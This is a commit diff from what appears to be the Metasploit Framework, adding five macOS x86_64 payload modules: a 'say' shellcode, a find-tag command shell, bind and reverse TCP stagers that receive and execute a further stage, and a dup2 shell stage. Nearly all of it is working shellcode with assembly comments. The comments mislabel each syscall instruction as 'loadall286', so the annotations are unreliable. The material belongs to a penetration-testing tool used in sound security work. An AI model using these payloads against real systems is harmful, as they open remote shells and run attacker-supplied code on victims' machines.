Merge branch 'dcbz-osxpayloads'
sinn3r
commit
6ed5f4a99b
|
|
@ -0,0 +1,53 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX X64 say Shellcode',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64
|
||||
))
|
||||
|
||||
# exec payload options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TEXT', [ true, "The text to say", "Hello\!"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# build the shellcode payload dynamically based on the user-provided CMD
|
||||
def generate
|
||||
say = (datastore['TEXT'] || '') << "\x00"
|
||||
call = "\xe8" + [say.length + 0xd].pack('V')
|
||||
|
||||
payload =
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||
call +
|
||||
"/usr/bin/say\x00" +
|
||||
say +
|
||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x41\x52" + # push r10
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/find_tag'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX Command Shell, Find Tag Inline',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Spawn a shell on an established connection (proxy/nat safe)',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::FindTag,
|
||||
'Session' => Msf::Sessions::CommandShellUnix
|
||||
|
||||
))
|
||||
# exec payload options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
|
||||
OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# ensures the setting of tag to a four byte value
|
||||
#
|
||||
def generate
|
||||
cmd = (datastore['CMD'] || '') << "\x00"
|
||||
call = "\xe8" + [cmd.length].pack('V')
|
||||
|
||||
payload =
|
||||
"\x48\x31\xFF" + # xor rdi,rdi
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x04" + # push byte +0x4
|
||||
"\x5A" + # pop rdx
|
||||
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xC9" + # xor r9,r9
|
||||
"\x48\xFF\xCF" + # dec rdi
|
||||
"\x48\xFF\xC7" + # inc rdi
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
|
||||
datastore['TAG'] +
|
||||
"\x75\xED" + # jnz 0x17
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||
call +
|
||||
cmd +
|
||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen, read length, read buffer, execute',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' => { 'LPORT' => [ 31, 'n'] },
|
||||
'Payload' =>
|
||||
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
|
||||
"\x6A\x02" + # push byte +0x2
|
||||
"\x5F" + # pop rdi
|
||||
"\x6A\x01" + # push byte +0x1
|
||||
"\x5E" + # pop rsi
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x56" + # push rsi
|
||||
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
|
||||
"\x56" + # push rsi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x10" + # push byte +0x10
|
||||
"\x5A" + # pop rdx
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x49\x89\xFC" + # mov r12,rdi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
|
||||
"\x4C\x89\xE7" + # mov rdi,r12
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x48\x89\xE2" + # mov rdx,rsp
|
||||
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x49\x89\xC5" + # mov r13,rax
|
||||
"\x48\x89\xC7" + # mov rdi,rax
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\x51" + # push rcx
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xD2" + # xor r10,r10
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x41\x5B" + # pop r11
|
||||
"\x4C\x89\xDE" + # mov rsi,r11
|
||||
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
|
||||
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
|
||||
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
|
||||
"\x48\x31\xFF" + # xor rdi,rdi
|
||||
"\x48\xFF\xCF" + # dec rdi
|
||||
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
|
||||
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
|
||||
"\x49\x89\xF8" + # mov r8,rdi
|
||||
"\x4D\x31\xC9" + # xor r9,r9
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x89\xC6" + # mov rsi,rax
|
||||
"\x56" + # push rsi
|
||||
"\x4C\x89\xEF" + # mov rdi,r13
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\x4C\x89\xDA" + # mov rdx,r11
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xD2" + # xor r10,r10
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x58" + # pop rax
|
||||
"\xFF\xD0" # call rax
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = { })
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse TCP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Connect, read length, read buffer, execute',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 37, 'ADDR'],
|
||||
'LPORT' => [ 35, 'n']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
||||
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
||||
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
||||
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
||||
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
||||
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
||||
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
||||
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
||||
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
||||
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
||||
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
||||
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
||||
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, p)
|
||||
#
|
||||
# Our stager payload expects to see a next-stage length first.
|
||||
#
|
||||
conn.put([p.length].pack('V'))
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,38 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OS X dup2 Command Shell',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'dup2 socket in edi, then execve',
|
||||
'Author' => 'nemo',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
|
||||
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
|
||||
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
|
||||
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
|
||||
"\x52\x57\x48\x89\xe6\x0f\x05"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue